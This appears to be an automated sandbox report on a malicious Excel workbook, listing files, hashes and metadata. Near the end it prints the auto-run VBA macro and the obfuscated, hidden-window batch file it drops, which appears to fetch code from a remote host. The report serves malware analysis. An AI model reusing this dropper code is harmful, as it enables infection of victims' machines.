Preview:	/. jPlayer Plugin for jQuery JavaScript Library. * http://www.jplayer.org. . Copyright (c) 2009 - 2014 Happyworm Ltd. * Licensed under the MIT license.. * http://opensource.org/licenses/MIT. . Author: Mark J Panaghiston. * Version: 2.6.0. * Date: 2nd April 2014. */..(function(b,f){"function"===typeof define&&define.amd?define(["jquery"],f):b.jQuery?f(b.jQuery):f(b.Zepto)})(this,function(b,f){b.fn.jPlayer=function(a){var c="string"===typeof a,d=Array.prototype.slice.call(arguments,1),e=this;a=!c&&d.length?b.extend.apply(null,[!0,a].concat(d)):a;if(c&&"_"===a.charAt(0))return e;c?this.each(function(){var c=b(this).data("jPlayer"),h=c&&b.isFunction(c[a])?c[a].apply(c,d):c;if(h!==c&&h!==f)return e=h,!1}):this.each(function(){var c=b(this).data("jPlayer");c?c.option(a\|\|.{}):b(this).data("jPlayer",new b.jPlayer(a,this))});return e};b.jPlayer=function(a,c){if(arguments.length){this.element=b(c);this.options=b.extend(!0,{},this.options,a);var d=this;this.element.bind("remove.jPlayer",

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\jquery.magnific-popup.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	20669
Entropy (8bit):	5.2808077876911295
Encrypted:	false
SSDEEP:	384:3ORjoixwByWeRZELR0oXnl0HFuG/76GIPGQHv5clO9sdG:3CZHEf6FuG/0um5cAQG
MD5:	588A4C7A711E01405E02B4E2F8E1B2D6
SHA1:	263D200778CB34026816AE5A7718C5AE4F6AEC49
SHA-256:	C9E8F0F8A438833EF971B7482991C681FFB7FB5BFF9B16CEADB22AD7C174A29E
SHA-512:	86DBD71D944B3F03F20A62E57E1CFA202D306E97102C6EB2EADE78D672E43227B1C6508B799AD88FB0D3516664CF4726D3E9C1119D5A05381B48A3912E34E688
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
Preview:	/! Magnific Popup - v0.9.3 - 2013-07-16. http://dimsemenov.com/plugins/magnific-popup/.* Copyright (c) 2013 Dmitry Semenov; */.(function(e){var t,i,n,o,a,r,s,l="Close",c="BeforeClose",d="AfterClose",u="BeforeAppend",p="MarkupParse",f="Open",m="Change",g="mfp",v="."+g,h="mfp-ready",C="mfp-removing",y="mfp-prevent-close",w=function(){},b=!!window.jQuery,I=e(window),x=function(e,i){t.ev.on(g+e+v,i)},k=function(t,i,n,o){var a=document.createElement("div");return a.className="mfp-"+t,n&&(a.innerHTML=n),o?i&&i.appendChild(a):(a=e(a),i&&a.appendTo(i)),a},T=function(i,n){t.ev.triggerHandler(g+i,n),t.st.callbacks&&(i=i.charAt(0).toLowerCase()+i.slice(1),t.st.callbacks[i]&&t.st.callbacks[i].apply(t,e.isArray(n)?n:[n]))},E=function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).trigger("focus")},S=function(i){return i===s&&t.currTemplate.closeBtn\|\|(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),s=i),t.currTemplate.closeBtn},P=function(){e.magnificPopup.instan

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\jquery.mobilemenu[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2074
Entropy (8bit):	5.0968137085902505
Encrypted:	false
SSDEEP:	48:MD00ieaw9PS+mQeavhBFxQDgaQEqMeDPs11Uix4gWl5aBn2vUys2O:6haw9PS+oenaDQEqMeDPuUG++2K2O
MD5:	77DDDC6C72834DC757EB755B46C00F8D
SHA1:	894745AF5CF26EB10DFE28F3BB0C6B2C7B0C286B
SHA-256:	C5F36FC1D0410B310F27E21BA0C948B9E6914F41C119D02C4629CA894D177A1E
SHA-512:	D13DE2DF355B214C25943E1859C595CBF51AF4854E94093B457B2C99DA66D9F9308DA8A94404F4240811B1A50BA3C2A28316E460964C3A5C0EDCC3B2F03161B3
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0
Preview:	/*. jQuery Mobile Menu. * Turn unordered list menu into dropdown select menu. * version 1.0(31-OCT-2011). . Built on top of the jQuery library. * http://jquery.com. . Documentation. * http://github.com/mambows/mobilemenu. */.(function($){..$.fn.mobileMenu = function(options) {...var defaults = {.....defaultText: 'Navigate to...',.....className: 'select-menu',.....subMenuClass: 'sub-menu',.....subMenuDash: '–'.....},....settings = $.extend( defaults, options ),....el = $(this);....$("head").append('<style type="text/css">@media(max-width: 767px){.sf-menu{display:none;} .select-menu{display: block;}}</style>')....this.each(function(){....// ad class to submenu list....el.find('ul').addClass(settings.subMenuClass);.....// Create base menu....$('<select />',{'class':settings.className}).insertAfter(el);.....// Create default option....$('<option />', {"value":'#', "text":settings.defaultText}).appendTo( '.' + settings.className );.....// Create select option from menu...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\magnific-popup[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	9304
Entropy (8bit):	4.884999133560261
Encrypted:	false
SSDEEP:	192:hNQeaSgt1RlPZpFXWi6fEKJHFiN6/kw57F5fmu4xCEBvL:uTPdXDlwFdF5On
MD5:	33F641DF8C0FC8A2A5C9C7FAD61EC019
SHA1:	7E4999E434F83D66A6E436DA9373880C47289704
SHA-256:	690587B44CBF9FF5EFA013957F8460D96B36775ACBB27472CFB6DC34BB91AF4D
SHA-512:	910F7FD759FD016EED7C7707E971DAAD57DB08D5CE421D7C94B43CCCCB67440654B87CC2FA3B75C28DC77DBE77C017B2EB7A1BE38436061AE9CF177F1FA900BB
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3
Preview:	/* Magnific Popup CSS */..mfp-bg {. top: 0;. left: 0;. width: 100%;. height: 100%;. z-index: 1042;. overflow: hidden;. position: fixed;. background: #0b0b0b;. opacity: 0.8;. filter: alpha(opacity=80); }...mfp-wrap {. top: 0;. left: 0;. width: 100%;. height: 100%;. z-index: 1043;. position: fixed;. outline: none !important;. -webkit-backface-visibility: hidden; }...mfp-container {. text-align: center;. position: absolute;. width: 100%;. height: 100%;. left: 0;. top: 0;. padding: 0 8px;. -webkit-box-sizing: border-box;. -moz-box-sizing: border-box;. box-sizing: border-box; }...mfp-container:before {. content: '';. display: inline-block;. height: 100%;. vertical-align: middle; }...mfp-align-top .mfp-container:before {. display: none; }...mfp-content {. position: relative;. display: inline-block;. vertical-align: middle;. margin: 0 auto;. text-align: left;. z-index: 1045; }...mfp-inline-holder .mfp-content,..mfp-ajax-holder .mfp-content {. width: 100

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\main-style[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	70411
Entropy (8bit):	5.127502328619063
Encrypted:	false
SSDEEP:	384:djgWEVPPo2Oe+fAwE+ZLBdOK1yPRFH1gXnSGPEIQS1hEZNx2+:XrOK1yPRAXpbENx/
MD5:	8C58B6C64504AEC029A5EB64FDA110C7
SHA1:	CC0F3354640103B329923BA00054F750578CB78F
SHA-256:	E0AFECC6055391B4B65D6350F8D05387DF73467D3D8C0DC53CC1AC5CB7B639EA
SHA-512:	5B631A9F5E916321BB23D8FD90BF27394591FB83A1BA2CA8E9976A3875FFB0DECC0A97DD64C516D165814F01F909D9B1B4E1D1A008B76F1C1EE8C4A7747B2A8B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/main-style.css
Preview:	@import url("../CherryFramework/style.css");.@import url(//fonts.googleapis.com/css?family=Lato:100);.@import url(//fonts.googleapis.com/css?family=Lato:300);.@import url(//fonts.googleapis.com/css?family=Lato:400);.@import url(//fonts.googleapis.com/css?family=Lato:700);.@import url(//fonts.googleapis.com/css?family=Lato:900);..wrap { overflow:hidden; }.h1, h2, h3, h4, h5, h6 { margin-top:0; }.h2 {..font-weight:100 !important;..text-shadow:0 0 0 rgba(0,0,0,0);.}.h2 strong { font-weight:900 !important; }.h3 { font-weight:900 !important; }.a {..-webkit-transition:all 0.5s ease;..-moz-transition:all 0.5s ease;..-o-transition:all 0.5s ease;..transition:all 0.5s ease;.}.a:hover { text-decoration:none; }..header {..width:100%;..position:absolute;..top:0;..padding:23px 0 20px;..border:none;..background:#fff;.}.@media (max-width: 767px) {...header {...width:auto;...padding-left:20px;...padding-right:20px;...position:relative !important;..}.}..header:after {..content:'';..position:absolute;..b

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\owl.carousel.min[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	3351
Entropy (8bit):	4.914211238199009
Encrypted:	false
SSDEEP:	48:uZo8LL+IJWmQq+v+dDKopvu+ztL+F/+wI+weAzT+RV+VAPsAvqeghOHHy3VzoRvO:JgA6eA2+AbdEK7pcXVxZaIJICNMM
MD5:	B2752A850D44F50036628EEAEF3BFCFA
SHA1:	FBA46353CF90450EF3D362A123F1E7AF3E8C561E
SHA-256:	521410E1FC44780061E09ADC980275FB5EA277FD5D9E538454214EC4379FF4BC
SHA-512:	B52DD2E6A1B40658674113B2257BCD8DE10CE14A4C5C7AD07D31A66D0D602A67A50B195210151AC614418FF1054F3A5B3F84554ABA448A46E6749A1B0AF844DE
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0
Preview:	/*. Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. */..owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-ca

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\scrollShowTime[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text
Category:	downloaded
Size (bytes):	1506
Entropy (8bit):	3.8120848042014237
Encrypted:	false
SSDEEP:	24:qzzEbPmDAFSbEigNMtDsmkKnxN8kKOx0STxHxKfZlJhYCpI0:+EKxJrk5kfdcfHkCB
MD5:	6B49B3E0D4EBC1DC791F05F077A218C4
SHA1:	710F5BA21E2E6BFAC71559BA8B3AB5AF5685A856
SHA-256:	A3A8314DF976D890F6389F1F9AA6B955A5069FBBF8EC6B546E6EDAF298B2DD93
SHA-512:	1A96C3D8D6514F95480C971A172A86046A2D534253EF0800A75D8F8834208F9954B9D0FAA344C9AA5CB2B796F520A5FD25FBDA9BA3F070AC5458E58681C38873
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
Preview:	.(function($){. $.fn.scrollShowTime=function(o){. var getOption = {. correctionY: 100. , onShow: function(){}. }. $.extend(getOption, o);. . return this.each(function(){. var _this = $(this). ,topOffset. ,windowHeight. ,_visible=false. ,_win=$(window). ,_doc=$(document). ;. init();. function init(){. setTopOffset();. _this.addClass('hide_state');. addEventHandler();. }//end init. function setTopOffset(){. topOffset = _this.offset().top;. }. function addEventHandler(){. $(window).on('scroll',function(){. setTopOffset();. positionListener();. }).trigger('scroll');. . $(window).on('resize', function(){. setTopOffse

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\style[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	523
Entropy (8bit):	4.974103937872525
Encrypted:	false
SSDEEP:	12:UunKwXaF3fnVnDF1XHXaF3ZXm6FgJF+pCGdj+YzWIhXCqrI5kgO0x:1KwSPDtSkQDCujIRD5kp0x
MD5:	725008F7D019079BD5FDF435862F0AF5
SHA1:	0DC4AF129ECEAEE15B583F6F458AD7BD74988C4D
SHA-256:	5239B049D3CE0714FAF43DBDB19E1D8ADC0722AC05962AAA73215A9F4D87E8D0
SHA-512:	EA73CD39491E07FA099CE2508575447B0120DD919CCEEF4AEB831D064F75480BFF20C6F866E6075E25DE5A35526AAB1FC8E7ED069F7B5FF999DF3EC8D28F1BDA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/style.css
Preview:	/..Theme Name: cherry..Theme URI: //info.template-help.com/help/..Description: A theme for Wordpress 3.8.x..Author: Template_Help.com..Author URI: //info.template-help.com/help/..Version: 3.1.5.1..Tags: dark, light, white, black, gray, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-menu, editor-style, featured-images, full-width-template, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready..License:..License URI: http://..Text Domain: cherry./.@import "css/style.css";.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\superfish[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	2913
Entropy (8bit):	5.1479046643148605
Encrypted:	false
SSDEEP:	48:uDmDV1xEm0TSDDdVVsIro4VmfYIy8G7HzjiYqcq6nQxzRqnICijh2eqicoj:uDmDOjKDdVpro4VmmjiYPq2ICQdcoj
MD5:	259022BDE29C49E9D273D33493BD7B01
SHA1:	16A4305C60037A05644EEF5BD7C1AFC5BBD5D74A
SHA-256:	6301E8E9AB12CACCBF4EB772E114D56F4BDF3A27875CDCAB57E8E8AF5E04CB5A
SHA-512:	9E627852C7F6AF6EFA7BB74A812875D5907A8EFCAFF761EA815A99281EE2076233103A701319637417B1FC923E27658DD7F701CCCBDA9F9B1C06A8644CE18A73
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3
Preview:	(function(a){a.fn.superfish=function(f){var d=a.fn.superfish,e=d.c,g=a('<span class="'+e.arrowClass+'"> »</span>'),k=function(c){var b=a(this),d=j(b);("mouseenter"===c.type\|\|"focusin"===c.type)&&b.children("a").data("follow",!0);clearTimeout(d.sfTimer);b.showSuperfishUl().siblings().hideSuperfishUl()},l=function(c){var b=a(this),f=j(b),e=d.op,g=function(){e.retainPath=-1<a.inArray(b[0],e.$path);b.hideSuperfishUl();e.$path.length&&1>b.parents("li."+e.hoverClass).length&&(e.onIdle.call(),a.proxy(k,.e.$path,c)())};"mouseleave"!==c.type&&"focusout"!==c.type?g():(clearTimeout(f.sfTimer),f.sfTimer=setTimeout(g,e.delay));("mouseleave"===c.type\|\|"focusout"===c.type)&&b.children("a").data("follow",!1)},j=function(c){c.hasClass(e.menuClass)&&a.error("Superfish requires you to update to a version of hoverIntent that supports event-delegation, such as this one: https://github.com/joeldbirch/onHoverIntent");c=c.closest("."+e.menuClass)[0];d.op=d.o[c.serial];return c},m=function(c){var b=a(this

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\switcher[1].png

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PNG image data, 10 x 19, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	207
Entropy (8bit):	5.824703976565338
Encrypted:	false
SSDEEP:	3:yionv//thPlHstj5l7prtxBlly43g/3MkOl0tDlX4wkBDjW3PsFmCsyxxZ2UGclC:6v/lhPWtVl1QHMkdJ4nDi3UqfclKh3p
MD5:	D6AE4F341752017AB0E603E3BB9260B7
SHA1:	C84C11D3BC69C7E14B2F75E7DEA6E0AC93DEE1E2
SHA-256:	8C2AD9254589A597B65DAE284A6DA49DBFE1E3C8E628B03B80883D980FB6435E
SHA-512:	136F04B44FC3194FB2DDA6DDE51AB0B83CE15BCD129EAD332053114675423D9E21E02769969D7037BC282F59AE11E673B61E2B3977253C54D8C5270FA72228FA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png
Preview:	.PNG........IHDR....................sBIT....\|.d.....pHYs...........~.....tEXtCreation Time.01/09/10.......tEXtSoftware.Adobe Fireworks CS4......'IDAT(.c\|....."..###1.B&.T...Q..QH.(..5/.?..Q-....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\tmstickup[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2506
Entropy (8bit):	4.979495337243772
Encrypted:	false
SSDEEP:	48:LXyO+4lW7dPr2StXZU/X2cQmoWUTp9XlUgpd2HuUBHrX:LXFLlWPXZKGrmwTO8quUtL
MD5:	D75AE5B4F9859E20DABD5BA0E6959625
SHA1:	B72540421BD54F42D92734D0A53D46273839811D
SHA-256:	294E2CE69040E1C6B4574E88881619342EDA4D098C187E56317288CE7B0E6168
SHA-512:	AA5239F962F9756781FE1907F3A7CE7A6FC4E92ED3D862B02460E69ADCDDE3DB98D82D6B3084BF096F32C966D258F561B81345620151A466B7BBC5B1EE982DBD
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
Preview:	(function($){..$.fn.tmStickUp=function(options){....var getOptions = {....correctionSelector: $('.correctionSelector')...,.listenSelector: $('.listenSelector')...,.active: false...,.pseudo: true...}...$.extend(getOptions, options);....var...._this = $(this)...,._window = $(window)...,._document = $(document)...,.thisOffsetTop = 0...,.thisOuterHeight = 0...,.thisMarginTop = 0...,.thisPaddingTop = 0...,.documentScroll = 0...,.pseudoBlock...,.lastScrollValue = 0...,.scrollDir = ''...,.tmpScrolled...;....if (_this.length != 0) {....init();...}....function init(){....thisOffsetTop = parseInt(_this.offset().top);....thisMarginTop = parseInt(_this.css("margin-top"));....thisOuterHeight = parseInt(_this.outerHeight(true));.....if(getOptions.pseudo){.....$('<div class="pseudoStickyBlock"></div>').insertAfter(_this);.....pseudoBlock = $('.pseudoStickyBlock');.....pseudoBlock.css({"position":"relative", "display":"block"});....}.....if(getOptions.active){.....addEventsFunction();....}...}//end in

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\warning[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\D24JGAUT.txt

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	85
Entropy (8bit):	4.4923442839272045
Encrypted:	false
SSDEEP:	3:Fg1QQcvIJXv7YU6TVTbfTw7vX:FdQcgU1fTgvX
MD5:	0BBCD21A3AFE3877DC3ABC58BB7CC25E
SHA1:	7C0069C797FEC9B04A951DF76BA6940F683F7DA5
SHA-256:	BDC48F083A122448217CF4E2D8581D4DBBDA485B9935302CD446178A62EF961A
SHA-512:	E591146ACF3619ACF8F61067904928FFDD5CAFD333D209F117456F14F73F0D37F292BECD2C461538D85BD8C9621780D621EC21F37209DDB93DB7B34A11D7D2FD
Malicious:	false
IE Cache URL:	google.com/
Preview:	CONSENT.PENDING+699.google.com/.2147484673.4109848960.31125240.2594678249.30978466.*.

C:\Users\Public\Outlook.bat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	modified
Size (bytes):	1126
Entropy (8bit):	4.492674933696318
Encrypted:	false
SSDEEP:	24:sj4MyluZiolTQP64K6o80dGo3ahMowo4oM2ocnhg:sj4R8
MD5:	20484F4A7D41C5F54A0DC7A7D35C2155
SHA1:	0B197C48D648BBDC131DCA6D4FB89903303372F9
SHA-256:	6DF10DD726CEF49360DF78C47651A311EA7BB21064FE77E019E223EF32776072
SHA-512:	94DF430C3890D5BA23618283EA6EAA6AA0C74D19C5E049F3CC4D65A464266CCC2EEFCCDB59D6464606200B2E51CDC9B57C2534C67ADED228D00A54D856C98591
Malicious:	true
Preview:	call getCmdPid.bat..set PID=%errorlevel%..call windowMode.bat -pid %PID% -mode hidden..cd C:\Users\Public..@echo off..Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D..cls..%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: MARIANO PEREIRA, Last Saved By: Cavaleiro De Troia, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Sun May 2 19:59:33 2021, Security: 0
Entropy (8bit):	4.612323584250231
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls
File size:	39424
MD5:	a5589d03da5b07fa9b035921b38ba29f
SHA1:	3468f6de4c2f018812c4393bffdc336ce8b73848
SHA256:	1f60b1d80f74e60f61191fa9867de7b95cf5f0df6ae545aab006ddd983eb467d
SHA512:	2e48471a36fa771c57e3d9779a1e61a56fddb629755d902bae4b52b976d093f5e8c5c04fd3fa22fe3785de33101a4374bb8fe00183e09a225654b67dab0e3efb
SSDEEP:	768:tyVK1Tgbyw3sz2jyngov9rjXjBCKTUAuulFFfqMFQxmMC0klhiCfAdKmCx:tyVK1Tgbyw3sz2jyngov9rjXjBCKoAus
TLSH:	E3031C26BA95C8B6DA67133AACE791C5623BBC131E1E52477204F32D7EB11D7840722F
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:	MARIANO PEREIRA
Last Saved By:	Cavaleiro De Troia
Create Time:	2015-06-05 18:19:34
Last Saved Time:	2021-05-02 18:59:33
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams with VBA

VBA File Name: EstaPastaDeTrabalho.cls, Stream Size: 4626

General
Stream Path:	_VBA_PROJECT_CUR/VBA/EstaPastaDeTrabalho
VBA File Name:	EstaPastaDeTrabalho.cls
Stream Size:	4626
Data ASCII:	. . . . . . . . . . . . . . . 8 . . . < . . . J . . . > . . . . . . . . . . . . = s . . # . . . . . . . . . . . . . . . . . p . . . s . ~ T I J y \\ . . . . . . . . . . . . . . F . . . . . . . . . . . . . . . . . . . . P \\ = g B . . : p . . . . . . . . . . . . . . . . . . . . . . x . . . . P \\ = g B . . : p s . ~ T I J y \\ . . . . M E . . . . . . . . . . . . . . . . . . . . . 0 . P . . . . . S L . . . . S . . . . . S . . . . 6 " . . . . . . . . . . . . . . . . . < 8 . . . . . . < . . . . . . . . . . N . 0 .
Data Raw:	01 16 03 00 06 00 01 00 00 ea 05 00 00 e4 00 00 00 38 02 00 00 3c 06 00 00 4a 06 00 00 3e 0e 00 00 00 00 00 00 01 00 00 00 7f 3d c0 73 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 70 00 ff ff 00 00 73 08 b9 7e 54 c1 49 4a 9c 94 fe 79 dc 5c af 9b 19 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sFile As String
   sFile = Environ("Public") & "\Outlook.bat"
      
   Close
     Open sFile For Output As #1
Print #1, "call getCmdPid.bat"
Print #1, "set PID=%errorlevel%"
Print #1, "call windowMode.bat -pid %PID% -mode hidden"
Print #1, "cd C:\Users\Public"
Print #1, "@echo off"
Print #1, "Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
Print #1, "cls"
